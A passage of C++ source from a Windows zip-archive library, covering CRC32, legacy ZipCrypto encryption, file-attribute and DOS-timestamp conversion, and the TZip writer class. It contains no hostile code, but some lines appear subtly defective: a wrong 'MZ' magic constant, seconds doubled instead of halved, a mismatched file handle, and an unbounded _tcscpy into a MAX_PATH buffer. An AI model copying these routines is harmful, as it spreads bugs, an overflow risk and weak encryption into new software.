2001 |   PUTSH(z->flg, f);
2002 |   PUTSH(z->how, f);
2003 |   PUTLG(z->tim, f);
2004 |   PUTLG(z->crc, f);
2005 |   PUTLG(z->siz, f);
2006 |   PUTLG(z->len, f);
2007 |   PUTSH(z->nam, f);
2008 |   PUTSH(z->cext, f);
2009 |   PUTSH(z->com, f);
2010 |   PUTSH(z->dsk, f);
2011 |   PUTSH(z->att, f);
2012 |   PUTLG(z->atx, f);
2013 |   PUTLG(z->off, f);
2014 |   if ((size_t)wfunc(param, z->iname, (unsigned int)z->nam) != z->nam ||
2015 |       (z->cext && (size_t)wfunc(param, z->cextra, (unsigned int)z->cext) != z->cext) ||
2016 |       (z->com && (size_t)wfunc(param, z->comment, (unsigned int)z->com) != z->com))
2017 |     return ZE_TEMP;
2018 |   return ZE_OK;
2019 | }
2020 | 
2021 | 
2022 | int putend(int n, ulg s, ulg c, extent m, char *z, WRITEFUNC wfunc, void *param)
2023 | { // write the end of the central-directory-data to file *f.
2024 |   PUTLG(ENDSIG, f);
2025 |   PUTSH(0, f);
2026 |   PUTSH(0, f);
2027 |   PUTSH(n, f);
2028 |   PUTSH(n, f);
2029 |   PUTLG(s, f);
2030 |   PUTLG(c, f);
2031 |   PUTSH(m, f);
2032 |   // Write the comment, if any
2033 |   if (m && wfunc(param, z, (unsigned int)m) != m) return ZE_TEMP;
2034 |   return ZE_OK;
2035 | }
2036 | 
2037 | 
2038 | 
2039 | 
2040 | 
2041 | 
2042 | const ulg crc_table[256] = {
2043 |   0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
2044 |   0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
2045 |   0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
2046 |   0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
2047 |   0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
2048 |   0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
2049 |   0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
2050 |   0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
2051 |   0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
2052 |   0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
2053 |   0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
2054 |   0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
2055 |   0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
2056 |   0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
2057 |   0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
2058 |   0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
2059 |   0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
2060 |   0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
2061 |   0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
2062 |   0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
2063 |   0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
2064 |   0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
2065 |   0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
2066 |   0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
2067 |   0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
2068 |   0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
2069 |   0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
2070 |   0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
2071 |   0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
2072 |   0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
2073 |   0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
2074 |   0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
2075 |   0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
2076 |   0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
2077 |   0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
2078 |   0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
2079 |   0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
2080 |   0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
2081 |   0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
2082 |   0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
2083 |   0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
2084 |   0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
2085 |   0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
2086 |   0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
2087 |   0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
2088 |   0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
2089 |   0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
2090 |   0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
2091 |   0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
2092 |   0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
2093 |   0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
2094 |   0x2d02ef8dL
2095 | };
2096 | 
2097 | #define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
2098 | #define DO1(buf)  crc = CRC32(crc, *buf++)
2099 | #define DO2(buf)  DO1(buf); DO1(buf)
2100 | #define DO4(buf)  DO2(buf); DO2(buf)
2101 | #define DO8(buf)  DO4(buf); DO4(buf)
2102 | 
2103 | ulg crc32(ulg crc, const uch *buf, extent len)
2104 | { if (buf==NULL) return 0L;
2105 |   crc = crc ^ 0xffffffffL;
2106 |   while (len >= 8) {DO8(buf); len -= 8;}
2107 |   if (len) do {DO1(buf);} while (--len);
2108 |   return crc ^ 0xffffffffL;  // (instead of ~c for 64-bit machines)
2109 | }
2110 | 
2111 | 
2112 | void update_keys(unsigned long *keys, char c)
2113 | { keys[0] = CRC32(keys[0],c);
2114 |   keys[1] += keys[0] & 0xFF;
2115 |   keys[1] = keys[1]*134775813L +1;
2116 |   keys[2] = CRC32(keys[2], keys[1] >> 24);
2117 | }
2118 | char decrypt_byte(unsigned long *keys)
2119 | { unsigned temp = ((unsigned)keys[2] & 0xffff) | 2;
2120 |   return (char)(((temp * (temp ^ 1)) >> 8) & 0xff);
2121 | }
2122 | char zencode(unsigned long *keys, char c)
2123 | { int t=decrypt_byte(keys);
2124 |   update_keys(keys,c);
2125 |   return (char)(t^c);
2126 | }
2127 | 
2128 | 
2129 | 
2130 | 
2131 | 
2132 | 
2133 | 
2134 | bool HasZipSuffix(const TCHAR *fn)
2135 | { const TCHAR *ext = fn+_tcslen(fn);
2136 |   while (ext>fn && *ext!='.') ext--;
2137 |   if (ext==fn && *ext!='.') return false;
2138 |   if (_tcsicmp(ext,_T(".Z"))==0) return true;
2139 |   if (_tcsicmp(ext,_T(".zip"))==0) return true;
2140 |   if (_tcsicmp(ext,_T(".zoo"))==0) return true;
2141 |   if (_tcsicmp(ext,_T(".arc"))==0) return true;
2142 |   if (_tcsicmp(ext,_T(".lzh"))==0) return true;
2143 |   if (_tcsicmp(ext,_T(".arj"))==0) return true;
2144 |   if (_tcsicmp(ext,_T(".gz"))==0) return true;
2145 |   if (_tcsicmp(ext,_T(".tgz"))==0) return true;
2146 |   return false;
2147 | }
2148 | 
2149 | 
2150 | lutime_t filetime2timet(const FILETIME ft)
2151 | { __int64 i = *(__int64*)&ft;
2152 |   return (lutime_t)((i-116444736000000000)/10000000);
2153 | }
2154 | 
2155 | void filetime2dosdatetime(const FILETIME ft, WORD *dosdate,WORD *dostime)
2156 | { // date: bits 0-4 are day of month 1-31. Bits 5-8 are month 1..12. Bits 9-15 are year-1980
2157 |   // time: bits 0-4 are seconds/2, bits 5-10 are minute 0..59. Bits 11-15 are hour 0..23
2158 |   SYSTEMTIME st; FileTimeToSystemTime(&ft,&st); 
2159 |   *dosdate = (WORD)(((st.wYear-1980)&0x7f) << 9);
2160 |   *dosdate |= (WORD)((st.wMonth&0xf) << 5);
2161 |   *dosdate |= (WORD)((st.wDay&0x1f));
2162 |   *dostime = (WORD)((st.wHour&0x1f) << 11);
2163 |   *dostime |= (WORD)((st.wMinute&0x3f) << 5);
2164 |   *dostime |= (WORD)((st.wSecond*2)&0x1f);
2165 | }
2166 | 
2167 | 
2168 | ZRESULT GetFileInfo(HANDLE hf, ulg *attr, long *size, iztimes *times, ulg *timestamp)
2169 | { // The handle must be a handle to a file
2170 |   // The date and time is returned in a long with the date most significant to allow
2171 |   // unsigned integer comparison of absolute times. The attributes have two
2172 |   // high bytes unix attr, and two low bytes a mapping of that to DOS attr.
2173 |   //struct stat s; int res=stat(fn,&s); if (res!=0) return false;
2174 |   // translate windows file attributes into zip ones.
2175 |   BY_HANDLE_FILE_INFORMATION bhi; BOOL res=GetFileInformationByHandle(hf,&bhi);
2176 |   if (!res) return ZR_NOFILE;
2177 |   DWORD fa=bhi.dwFileAttributes; ulg a=0;
2178 |   // Zip uses the lower word for its interpretation of windows stuff
2179 |   if (fa&FILE_ATTRIBUTE_READONLY) a|=0x01;
2180 |   if (fa&FILE_ATTRIBUTE_HIDDEN)   a|=0x02;
2181 |   if (fa&FILE_ATTRIBUTE_SYSTEM)   a|=0x04;
2182 |   if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x10;
2183 |   if (fa&FILE_ATTRIBUTE_ARCHIVE)  a|=0x20;
2184 |   // It uses the upper word for standard unix attr, which we manually construct
2185 |   if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x40000000;  // directory
2186 |   else a|=0x80000000;  // normal file
2187 |   a|=0x01000000;      // readable
2188 |   if (fa&FILE_ATTRIBUTE_READONLY) {} else a|=0x00800000; // writeable
2189 |   // now just a small heuristic to check if it's an executable:
2190 |   DWORD red, hsize=GetFileSize(hf,NULL); if (hsize>40)
2191 |   { SetFilePointer(hf,0,NULL,FILE_BEGIN); unsigned short magic; ReadFile(hf,&magic,sizeof(magic),&red,NULL);
2192 |     SetFilePointer(hf,36,NULL,FILE_BEGIN); unsigned long hpos;  ReadFile(hf,&hpos,sizeof(hpos),&red,NULL);
2193 |     if (magic==0x54AD && hsize>hpos+4+20+28)
2194 |     { SetFilePointer(hf,hpos,NULL,FILE_BEGIN); unsigned long signature; ReadFile(hf,&signature,sizeof(signature),&red,NULL);
2195 |       if (signature==IMAGE_DOS_SIGNATURE || signature==IMAGE_OS2_SIGNATURE
2196 |          || signature==IMAGE_OS2_SIGNATURE_LE || signature==IMAGE_NT_SIGNATURE)
2197 |       { a |= 0x00400000; // executable
2198 |       }
2199 |     }
2200 |   }
2201 |   //
2202 |   if (attr!=NULL) *attr = a;
2203 |   if (size!=NULL) *size = hsize;
2204 |   if (times!=NULL)
2205 |   { // lutime_t is 32bit number of seconds elapsed since 0:0:0GMT, Jan1, 1970.
2206 |     // but FILETIME is 64bit number of 100-nanosecs since Jan1, 1601
2207 |     times->atime = filetime2timet(bhi.ftLastAccessTime);
2208 |     times->mtime = filetime2timet(bhi.ftLastWriteTime);
2209 |     times->ctime = filetime2timet(bhi.ftCreationTime);
2210 |   }
2211 |   if (timestamp!=NULL)
2212 |   { WORD dosdate,dostime;
2213 |     filetime2dosdatetime(bhi.ftLastWriteTime,&dosdate,&dostime);
2214 |     *timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2215 |   }
2216 |   return ZR_OK;
2217 | }
2218 | 
2219 | 
2220 | 
2221 | 
2222 | 
2223 | 
2224 | 
2225 | 
2226 | class TZip
2227 | { public:
2228 |   TZip(const char *pwd) : hfout(0),mustclosehfout(false),hmapout(0),zfis(0),obuf(0),hfin(0),writ(0),oerr(false),hasputcen(false),ooffset(0),encwriting(false),encbuf(0),password(0), state(0) {if (pwd!=0 && *pwd!=0) {password=new char[strlen(pwd)+1]; strcpy(password,pwd);}}
2229 |   ~TZip() {if (state!=0) delete state; state=0; if (encbuf!=0) delete[] encbuf; encbuf=0; if (password!=0) delete[] password; password=0;}
2230 | 
2231 |   // These variables say about the file we're writing into
2232 |   // We can write to pipe, file-by-handle, file-by-name, memory-to-memmapfile
2233 |   char *password;           // keep a copy of the password
2234 |   HANDLE hfout;             // if valid, we'll write here (for files or pipes)
2235 |   bool mustclosehfout;      // if true, we are responsible for closing hfout
2236 |   HANDLE hmapout;           // otherwise, we'll write here (for memmap)
2237 |   unsigned ooffset;         // for hfout, this is where the pointer was initially
2238 |   ZRESULT oerr;             // did a write operation give rise to an error?
2239 |   unsigned writ;            // how far have we written. This is maintained by Add, not write(), to avoid confusion over seeks
2240 |   bool ocanseek;            // can we seek?
2241 |   char *obuf;               // this is where we've locked mmap to view.
2242 |   unsigned int opos;        // current pos in the mmap
2243 |   unsigned int mapsize;     // the size of the map we created
2244 |   bool hasputcen;           // have we yet placed the central directory?
2245 |   bool encwriting;          // if true, then we'll encrypt stuff using 'keys' before we write it to disk
2246 |   unsigned long keys[3];    // keys are initialised inside Add()
2247 |   char *encbuf;             // if encrypting, then this is a temporary workspace for encrypting the data
2248 |   unsigned int encbufsize;  // (to be used and resized inside write(), and deleted in the destructor)
2249 |   //
2250 |   TZipFileInfo *zfis;       // each file gets added onto this list, for writing the table at the end
2251 |   TState *state;            // we use just one state object per zip, because it's big (500k)
2252 | 
2253 |   ZRESULT Create(void *z,unsigned int len,DWORD flags);
2254 |   static unsigned sflush(void *param,const char *buf, unsigned *size);
2255 |   static unsigned swrite(void *param,const char *buf, unsigned size);
2256 |   unsigned int write(const char *buf,unsigned int size);
2257 |   bool oseek(unsigned int pos);
2258 |   ZRESULT GetMemory(void **pbuf, unsigned long *plen);
2259 |   ZRESULT Close();
2260 | 
2261 |   // some variables to do with the file currently being read:
2262 |   // I haven't done it object-orientedly here, just put them all
2263 |   // together, since OO didn't seem to make the design any clearer.
2264 |   ulg attr; iztimes times; ulg timestamp;  // all open_* methods set these
2265 |   bool iseekable; long isize,ired;         // size is not set until close() on pips
2266 |   ulg crc;                                 // crc is not set until close(). iwrit is cumulative
2267 |   HANDLE hfin; bool selfclosehf;           // for input files and pipes
2268 |   const char *bufin; unsigned int lenin,posin; // for memory
2269 |   // and a variable for what we've done with the input: (i.e. compressed it!)
2270 |   ulg csize;                               // compressed size, set by the compression routines
2271 |   // and this is used by some of the compression routines
2272 |   char buf[16384];
2273 | 
2274 | 
2275 |   ZRESULT open_file(const TCHAR *fn);
2276 |   ZRESULT open_handle(HANDLE hf,unsigned int len);
2277 |   ZRESULT open_mem(void *src,unsigned int len);
2278 |   ZRESULT open_dir();
2279 |   static unsigned sread(TState &s,char *buf,unsigned size);
2280 |   unsigned read(char *buf, unsigned size);
2281 |   ZRESULT iclose();
2282 | 
2283 |   ZRESULT ideflate(TZipFileInfo *zfi);
2284 |   ZRESULT istore();
2285 | 
2286 |   ZRESULT Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags);
2287 |   ZRESULT AddCentral();
2288 | 
2289 | };
2290 | 
2291 | 
2292 | 
2293 | ZRESULT TZip::Create(void *z,unsigned int len,DWORD flags)
2294 | { if (hfout!=0 || hmapout!=0 || obuf!=0 || writ!=0 || oerr!=ZR_OK || hasputcen) return ZR_NOTINITED;
2295 |   //
2296 |   if (flags==ZIP_HANDLE)
2297 |   { HANDLE hf = (HANDLE)z;
2298 |     hfout=hf; mustclosehfout=false;
2299 | #ifdef DuplicateHandle
2300 |     BOOL res = DuplicateHandle(GetCurrentProcess(),hf,GetCurrentProcess(),&hfout,0,FALSE,DUPLICATE_SAME_ACCESS);
2301 |     if (res) mustclosehandle=true;
2302 | #endif
2303 |     // now we have hfout. Either we duplicated the handle and we close it ourselves
2304 |     // (while the caller closes h themselves), or we couldn't duplicate it.
2305 |     DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT);
2306 |     ocanseek = (res!=0xFFFFFFFF);
2307 |     if (ocanseek) ooffset=res; else ooffset=0;
2308 |     return ZR_OK;
2309 |   }
2310 |   else if (flags==ZIP_FILENAME)
2311 |   { const TCHAR *fn = (const TCHAR*)z;
2312 |     hfout = CreateFile(fn,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
2313 |     if (hfout==INVALID_HANDLE_VALUE) {hfout=0; return ZR_NOFILE;}
2314 |     ocanseek=true;
2315 |     ooffset=0;
2316 |     mustclosehfout=true;
2317 |     return ZR_OK;
2318 |   }
2319 |   else if (flags==ZIP_MEMORY)
2320 |   { unsigned int size = len;
2321 |     if (size==0) return ZR_MEMSIZE;
2322 |     if (z!=0) obuf=(char*)z;
2323 |     else
2324 |     { hmapout = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,size,NULL);
2325 |       if (hmapout==NULL) return ZR_NOALLOC;
2326 |       obuf = (char*)MapViewOfFile(hmapout,FILE_MAP_ALL_ACCESS,0,0,size);
2327 |       if (obuf==0) {CloseHandle(hmapout); hmapout=0; return ZR_NOALLOC;}
2328 |     }
2329 |     ocanseek=true;
2330 |     opos=0; mapsize=size;
2331 |     return ZR_OK;
2332 |   }
2333 |   else return ZR_ARGS;
2334 | }
2335 | 
2336 | unsigned TZip::sflush(void *param,const char *buf, unsigned *size)
2337 | { // static
2338 |   if (*size==0) return 0;
2339 |   TZip *zip = (TZip*)param;
2340 |   unsigned int writ = zip->write(buf,*size);
2341 |   if (writ!=0) *size=0;
2342 |   return writ;
2343 | }
2344 | unsigned TZip::swrite(void *param,const char *buf, unsigned size)
2345 | { // static
2346 |   if (size==0) return 0;
2347 |   TZip *zip=(TZip*)param; return zip->write(buf,size);
2348 | }
2349 | unsigned int TZip::write(const char *buf,unsigned int size)
2350 | { const char *srcbuf=buf;
2351 |   if (encwriting)
2352 |   { if (encbuf!=0 && encbufsize<size) {delete[] encbuf; encbuf=0;}
2353 |     if (encbuf==0) {encbuf=new char[size*2]; encbufsize=size;}
2354 |     memcpy(encbuf,buf,size);
2355 |     for (unsigned int i=0; i<size; i++) encbuf[i]=zencode(keys,encbuf[i]);
2356 |     srcbuf=encbuf;
2357 |   }
2358 |   if (obuf!=0)
2359 |   { if (opos+size>=mapsize) {oerr=ZR_MEMSIZE; return 0;}
2360 |     memcpy(obuf+opos, srcbuf, size);
2361 |     opos+=size;
2362 |     return size;
2363 |   }
2364 |   else if (hfout!=0)
2365 |   { DWORD writ; WriteFile(hfout,srcbuf,size,&writ,NULL);
2366 |     return writ;
2367 |   }
2368 |   oerr=ZR_NOTINITED; return 0;
2369 | }
2370 | 
2371 | bool TZip::oseek(unsigned int pos)
2372 | { if (!ocanseek) {oerr=ZR_SEEK; return false;}
2373 |   if (obuf!=0)
2374 |   { if (pos>=mapsize) {oerr=ZR_MEMSIZE; return false;}
2375 |     opos=pos;
2376 |     return true;
2377 |   }
2378 |   else if (hfout!=0)
2379 |   { SetFilePointer(hfout,pos+ooffset,NULL,FILE_BEGIN);
2380 |     return true;
2381 |   }
2382 |   oerr=ZR_NOTINITED; return 0;
2383 | }
2384 | 
2385 | ZRESULT TZip::GetMemory(void **pbuf, unsigned long *plen)
2386 | { // When the user calls GetMemory, they're presumably at the end
2387 |   // of all their adding. In any case, we have to add the central
2388 |   // directory now, otherwise the memory we tell them won't be complete.
2389 |   if (!hasputcen) AddCentral(); hasputcen=true;
2390 |   if (pbuf!=NULL) *pbuf=(void*)obuf;
2391 |   if (plen!=NULL) *plen=writ;
2392 |   if (obuf==NULL) return ZR_NOTMMAP;
2393 |   return ZR_OK;
2394 | }
2395 | 
2396 | ZRESULT TZip::Close()
2397 | { // if the directory hadn't already been added through a call to GetMemory,
2398 |   // then we do it now
2399 |   ZRESULT res=ZR_OK; if (!hasputcen) res=AddCentral(); hasputcen=true;
2400 |   if (obuf!=0 && hmapout!=0) UnmapViewOfFile(obuf); obuf=0;
2401 |   if (hmapout!=0) CloseHandle(hmapout); hmapout=0;
2402 |   if (hfout!=0 && mustclosehfout) CloseHandle(hfout); hfout=0; mustclosehfout=false;
2403 |   return res;
2404 | }
2405 | 
2406 | 
2407 | 
2408 | 
2409 | ZRESULT TZip::open_file(const TCHAR *fn)
2410 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2411 |   if (fn==0) return ZR_ARGS;
2412 |   HANDLE hf = CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
2413 |   if (hf==INVALID_HANDLE_VALUE) return ZR_NOFILE;
2414 |   ZRESULT res = open_handle(hf,0);
2415 |   if (res!=ZR_OK) {CloseHandle(hf); return res;}
2416 |   selfclosehf=true;
2417 |   return ZR_OK;
2418 | }
2419 | ZRESULT TZip::open_handle(HANDLE hf,unsigned int len)
2420 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2421 |   if (hf==0 || hf==INVALID_HANDLE_VALUE) return ZR_ARGS;
2422 |   DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT);
2423 |   if (res!=0xFFFFFFFF)
2424 |   { ZRESULT res = GetFileInfo(hf,&attr,&isize,&times,&timestamp);
2425 |     if (res!=ZR_OK) return res;
2426 |     SetFilePointer(hf,0,NULL,FILE_BEGIN); // because GetFileInfo will have screwed it up
2427 |     iseekable=true; hfin=hf;
2428 |     return ZR_OK;
2429 |   }
2430 |   else
2431 |   { attr= 0x80000000;      // just a normal file
2432 |     isize = -1;            // can't know size until at the end
2433 |     if (len!=0) isize=len; // unless we were told explicitly!
2434 |     iseekable=false;
2435 |     SYSTEMTIME st; GetLocalTime(&st);
2436 |     FILETIME ft;   SystemTimeToFileTime(&st,&ft);
2437 |     WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2438 |     times.atime = filetime2timet(ft);
2439 |     times.mtime = times.atime;
2440 |     times.ctime = times.atime;
2441 |     timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2442 |     hfin=hf;
2443 |     return ZR_OK;
2444 |   }
2445 | }
2446 | ZRESULT TZip::open_mem(void *src,unsigned int len)
2447 | { hfin=0; bufin=(const char*)src; selfclosehf=false; crc=CRCVAL_INITIAL; ired=0; csize=0; ired=0;
2448 |   lenin=len; posin=0;
2449 |   if (src==0 || len==0) return ZR_ARGS;
2450 |   attr= 0x80000000; // just a normal file
2451 |   isize = len;
2452 |   iseekable=true;
2453 |   SYSTEMTIME st; GetLocalTime(&st);
2454 |   FILETIME ft;   SystemTimeToFileTime(&st,&ft);
2455 |   WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2456 |   times.atime = filetime2timet(ft);
2457 |   times.mtime = times.atime;
2458 |   times.ctime = times.atime;
2459 |   timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2460 |   return ZR_OK;
2461 | }
2462 | ZRESULT TZip::open_dir()
2463 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2464 |   attr= 0x41C00010; // a readable writable directory, and again directory
2465 |   isize = 0;
2466 |   iseekable=false;
2467 |   SYSTEMTIME st; GetLocalTime(&st);
2468 |   FILETIME ft;   SystemTimeToFileTime(&st,&ft);
2469 |   WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2470 |   times.atime = filetime2timet(ft);
2471 |   times.mtime = times.atime;
2472 |   times.ctime = times.atime;
2473 |   timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2474 |   return ZR_OK;
2475 | }
2476 | 
2477 | unsigned TZip::sread(TState &s,char *buf,unsigned size)
2478 | { // static
2479 |   TZip *zip = (TZip*)s.param;
2480 |   return zip->read(buf,size);
2481 | }
2482 | 
2483 | unsigned TZip::read(char *buf, unsigned size)
2484 | { if (bufin!=0)
2485 |   { if (posin>=lenin) return 0; // end of input
2486 |     ulg red = lenin-posin;
2487 |     if (red>size) red=size;
2488 |     memcpy(buf, bufin+posin, red);
2489 |     posin += red;
2490 |     ired += red;
2491 |     crc = crc32(crc, (uch*)buf, red);
2492 |     return red;
2493 |   }
2494 |   else if (hfin!=0)
2495 |   { DWORD red;
2496 |     BOOL ok = ReadFile(hfin,buf,size,&red,NULL);
2497 |     if (!ok) return 0;
2498 |     ired += red;
2499 |     crc = crc32(crc, (uch*)buf, red);
2500 |     return red;
2501 |   }
2502 |   else {oerr=ZR_NOTINITED; return 0;}
2503 | }
2504 | 
2505 | ZRESULT TZip::iclose()
2506 | { if (selfclosehf && hfin!=0) CloseHandle(hfin); hfin=0;
2507 |   bool mismatch = (isize!=-1 && isize!=ired);
2508 |   isize=ired; // and crc has been being updated anyway
2509 |   if (mismatch) return ZR_MISSIZE;
2510 |   else return ZR_OK;
2511 | }
2512 | 
2513 | 
2514 | 
2515 | ZRESULT TZip::ideflate(TZipFileInfo *zfi)
2516 | { if (state==0) state=new TState();
2517 |   // It's a very big object! 500k! We allocate it on the heap, because PocketPC's
2518 |   // stack breaks if we try to put it all on the stack. It will be deleted lazily
2519 |   state->err=0;
2520 |   state->readfunc=sread; state->flush_outbuf=sflush;
2521 |   state->param=this; state->level=8; state->seekable=iseekable; state->err=NULL;
2522 |   // the following line will make ct_init realise it has to perform the init
2523 |   state->ts.static_dtree[0].dl.len = 0;
2524 |   // Thanks to Alvin77 for this crucial fix:
2525 |   state->ds.window_size=0;
2526 |   //  I think that covers everything that needs to be initted.
2527 |   //
2528 |   bi_init(*state,buf, sizeof(buf), TRUE); // it used to be just 1024-size, not 16384 as here
2529 |   ct_init(*state,&zfi->att);
2530 |   lm_init(*state,state->level, &zfi->flg);
2531 |   ulg sz = deflate(*state);
2532 |   csize=sz;
2533 |   ZRESULT r=ZR_OK; if (state->err!=NULL) r=ZR_FLATE;
2534 |   return r;
2535 | }
2536 | 
2537 | ZRESULT TZip::istore()
2538 | { ulg size=0;
2539 |   for (;;)
2540 |   { unsigned int cin=read(buf,16384); if (cin<=0 || cin==(unsigned int)EOF) break;
2541 |     unsigned int cout = write(buf,cin); if (cout!=cin) return ZR_MISSIZE;
2542 |     size += cin;
2543 |   }
2544 |   csize=size;
2545 |   return ZR_OK;
2546 | }
2547 | 
2548 | 
2549 | 
2550 | 
2551 | 
2552 | bool has_seeded=false;
2553 | ZRESULT TZip::Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags)
2554 | { if (oerr) return ZR_FAILED;
2555 |   if (hasputcen) return ZR_ENDED;
2556 | 
2557 |   // if we use password encryption, then every isize and csize is 12 bytes bigger
2558 |   int passex=0; if (password!=0 && flags!=ZIP_FOLDER) passex=12;
2559 | 
2560 |   // zip has its own notion of what its names should look like: i.e. dir/file.stuff
2561 |   TCHAR dstzn[MAX_PATH]; _tcscpy(dstzn,odstzn);
2562 |   if (*dstzn==0) return ZR_ARGS;
2563 |   TCHAR *d=dstzn; while (*d!=0) {if (*d=='\\') *d='/'; d++;}
2564 |   bool isdir = (flags==ZIP_FOLDER);
2565 |   bool needs_trailing_slash = (isdir && dstzn[_tcslen(dstzn)-1]!='/');
2566 |   int method=DEFLATE; if (isdir || HasZipSuffix(dstzn)) method=STORE;
2567 | 
2568 |   // now open whatever was our input source:
2569 |   ZRESULT openres;
2570 |   if (flags==ZIP_FILENAME) openres=open_file((const TCHAR*)src);
2571 |   else if (flags==ZIP_HANDLE) openres=open_handle((HANDLE)src,len);
2572 |   else if (flags==ZIP_MEMORY) openres=open_mem(src,len);
2573 |   else if (flags==ZIP_FOLDER) openres=open_dir();
